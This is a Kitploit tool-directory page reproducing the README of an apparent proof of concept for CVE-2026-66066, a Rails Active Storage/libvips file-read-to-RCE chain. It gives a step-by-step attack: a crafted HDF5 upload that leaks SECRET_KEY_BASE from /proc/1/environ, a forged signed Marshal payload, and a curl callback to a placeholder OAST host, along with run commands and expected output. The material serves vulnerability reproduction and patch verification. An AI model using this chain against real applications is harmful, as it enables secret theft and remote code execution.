Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-66066-POC — PoC for CVE-2026-66066 in Ruby on Rails | Kitploit
Tools/GitHubGitHub/zer0sumgam3/cve-2026-66066-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubzer0sumgam3/cve-2026-66066-poc

CVE-2026-66066-POC

PoC for CVE-2026-66066 in Ruby on Rails

Repository anzeigen
2213vor 21 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Inhalt in der angeforderten Sprache nicht verfügbar. Englische Version wird angezeigt.

PoC for CVE-2026-66066 - Minimal stock Rails/libvips lab

This repository reproduces the Rails Active Storage file-read-to-RCE chain described by GHSA-xr9x-r78c-5hrm against Rails 8.1.3, the newest affected Rails 8.1 release. Rails 8.1.3.1 is the patched control.

Use it only in the disposable local lab described here. The HTTP driver refuses non-loopback targets (although trivial to modify the Python code for authorized testing against other targets).

Strict target/attacker boundary

The target is a conventional Rails application. Its final image contains:

  • the pinned ruby:3.4.10-slim Docker Official Image;
  • an application generated by rails _VERSION_ new;
  • the Rails-generated runtime packages curl, libjemalloc2, libvips, and sqlite3;
  • the Rails-generated entrypoint and default ./bin/thrust ./bin/rails server command; and
  • one normal Upload model with a single Active Storage attachment, ordinary HTML new, create, and show actions, and a PNG image variant.

It does not contain an artifact builder, upload artifact, exploit driver, Marshal constructor, callback code, diagnostic endpoint, loader tracing, custom boot script, target secret fixture, or exploit-only route. It does not set VIPS_TRACE, reorder the process environment, override the Active Storage serializer, or configure a non-default image processor.

The root .dockerignore sends only Dockerfile and overlay/ to the build. The host-side Python scripts and all generated artifacts are excluded from the Docker build context, not merely omitted from the final copy step.

The complete target overlay is five ordinary files:

root@kitploit:~
app/controllers/uploads_controller.rb
app/models/upload.rb
app/views/uploads/new.html.erb
app/views/uploads/show.html.erb
config/routes.rb

The show page uses the minimal normal transformation:

root@kitploit:~
<%= image_tag @upload.avatar.variant(format: :png) %>

An untouched new Rails application has no application model or page that accepts an attachment, so those five files are the minimum application functionality needed to represent the advisory's untrusted-image-upload condition.

Build and run the vulnerable target

Prerequisites are Docker, OpenSSL, Python 3, and h5py for the artifact builder.

In terminal 1:

root@kitploit:~
./run_lab.sh 8.1.3

The script builds minimal-rails-vips:8.1.3, generates an ephemeral SECRET_KEY_BASE unless one is already supplied, publishes the application only at 127.0.0.1:3000, and runs the image's generated entrypoint and default command. No source directory or artifact is mounted into the target.

If port 3000 is already occupied, select another loopback port without changing the image:

root@kitploit:~
HOST_PORT=33020 ./run_lab.sh 8.1.3

Use the same port in the driver's --target.

Run the combined builder and driver

In terminal 2:

root@kitploit:~
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install h5py

python3 rails_vips_oast_poc.py \
  --target http://127.0.0.1:3000 \
  --oast https://YOUR-OAST-DOMAIN.example/callback

rails_vips_oast_poc.py is a one-shot builder and HTTP driver. Unless --artifact is supplied, it constructs the upload in a private temporary directory, keeps it for the complete request sequence, and removes it when the process exits. It constructs both stages rather than unpacking a static payload:

  1. It asks h5py to create a MATLAB/HDF5 file with a 512-byte user block.
  2. It creates a 1 × 1024 little-endian uint8 dataset named environment.
  3. The dataset uses HDF5 external storage backed by /proc/1/environ, offset zero, with a bounded 1,024-byte extent.
  4. It adds MATLAB_class="uint8" and writes the MATLAB 5.0 header used by libvips' matload sniffer.
  5. Its minimal Ruby Marshal 4.8 writer constructs the complete unsigned OOB variation graph.
  6. It appends an integrity-checked trailer containing that serialized graph and a small manifest with the OAST URL and correlation nonce.

The embedded RCE program is fixed to /usr/bin/curl with a structured argument array. It performs one GET to the configured OAST URL and sends only the random rails_ghsa_xr9x correlation token. It does not use a shell and does not include recovered secrets, command output, file contents, or a target identifier in the callback.

Artifact parameters are:

  • --external-path: target-side absolute file, default /proc/1/environ;
  • --bytes: bounded external extent from 128 through 4096, default 1024;
  • --oast: callback base URL embedded in the payload; and
  • --nonce: optional 16-byte hexadecimal nonce for a reproducible artifact.

The default OAST URL is loopback-safe. Supply a receiver URL reachable from the container for the end-to-end check.

To retain the generated upload for inspection or reuse, add an artifact path:

root@kitploit:~
python3 rails_vips_oast_poc.py \
  --target http://127.0.0.1:3000 \
  --oast https://YOUR-OAST-DOMAIN.example/callback \
  --artifact environment-read.bmp

An existing --artifact is validated and reused. In that case --oast, when given, must match its embedded callback URL. Add --force to reconstruct and atomically replace it with the current builder parameters.

For artifact creation without any HTTP requests, the companion builder is still available:

root@kitploit:~
python3 build_upload_artifact.py \
  --output environment-read.bmp \
  --oast https://YOUR-OAST-DOMAIN.example/callback

--target defaults to http://127.0.0.1:3000 and is restricted to literal loopback or localhost.

Expected vulnerable output includes:

root@kitploit:~
artifact_mode=constructed
artifact_retained=false
embedded_payload=true
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=200
returned_geometry=1x1024x1
ARBITRARY_ENV_READ_RESULT=CONFIRMED
marshal_source=embedded_artifact
rce_program=/usr/bin/curl
oast_probe_http=500
OAST_RESULT=CHECK_RECEIVER

Match oast_nonce in the terminal with the rails_ghsa_xr9x=<nonce> query parameter received by the OAST service. The HTTP 500 from the final representation request is expected: the callback happens while the authenticated Marshal Hash is being rebuilt, before the overall transformation subsequently fails.

What the driver does

The builder portion requires h5py; the HTTP and cryptographic portions use only Python's standard library:

  1. It constructs and validates the complete upload artifact and embedded unsigned Marshal graph.
  2. It uploads a safe PNG through the application's ordinary multipart HTML form, follows the normal redirect, and extracts the representation URL from its `` element.
  3. It uses Rails' built-in Active Storage direct-upload endpoint to create an unattached blob declared as image/bmp, then uploads the constructed bytes.
  4. It combines that valid blob signed ID with the normal variation key from the safe image and requests the representation.
  5. Stock Debian libvips selects the unfuzzed matload operation. The returned PNG exposes the external dataset bytes, including the runtime SECRET_KEY_BASE.
  6. The driver derives the ordinary ActiveStorage verifier key, reads the already-constructed Marshal payload from the artifact, signs it for the variation purpose, and requests the resulting representation URL.
  7. Deserialization invokes the embedded /usr/bin/curl payload and produces the blind OOB callback.

The target contributes no helper endpoint or signing gadget. The Ruby classes used by the serialized graph come from dependencies already resolved by a stock rails new Gemfile; the application does not require or configure them. Image processing remains on the Rails default :vips processor throughout.

Patched differential

Stop terminal 1 with Ctrl-C, then run:

root@kitploit:~
./run_lab.sh 8.1.3.1

Rerun the same combined driver command. If an artifact was retained, it can be reused by passing the same --artifact path. The patched result should stop at:

root@kitploit:~
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=500

No environment pixels are returned, the embedded payload is never signed or submitted, and no OAST callback occurs. Active Storage 8.1.3.1 enables libvips' untrusted-operation block, so matload is rejected.

Verify the target image is clean

The final runtime configuration should be the generated one:

root@kitploit:~
docker image inspect minimal-rails-vips:8.1.3 \
  --format 'entrypoint={{json .Config.Entrypoint}} cmd={{json .Config.Cmd}} user={{json .Config.User}}'

Expected:

root@kitploit:~
entrypoint=["/rails/bin/docker-entrypoint"] cmd=["./bin/thrust","./bin/rails","server"] user="1000:1000"

Inspect the only script and confirm the PoC files are absent:

root@kitploit:~
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
  find /rails/script -maxdepth 2 -type f -print
  test ! -e /rails/payloads
  test ! -e /rails/payload_builder.c
  test ! -e /rails/config/master.key
'

The only script entry is the generator-created /rails/script/.keep. Build tools and optional image CLIs also stay out of the runtime:

root@kitploit:~
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
  for tool in gcc h5cc vips vipsheader convert magick tesseract; do
    command -v "$tool" >/dev/null 2>&1 && echo "unexpected: $tool"
  done
'

libvips is present as a shared runtime library even though its CLI tools are not installed. Debian's stock dependency graph supplies the linked MAT/HDF5 format support.

Files

  • Dockerfile generates and packages the minimal stock target.
  • .dockerignore prevents attacker-side files from entering the build context.
  • overlay/ contains only the five normal Rails application files.
  • run_lab.sh builds and launches the target without executing the PoC.
  • rails_vips_oast_poc.py constructs the HDF5 file-read image and configurable OOB payload, drives the normal HTTP flow, recovers the verifier secret, signs the embedded payload, and triggers it.
Tool herunterladen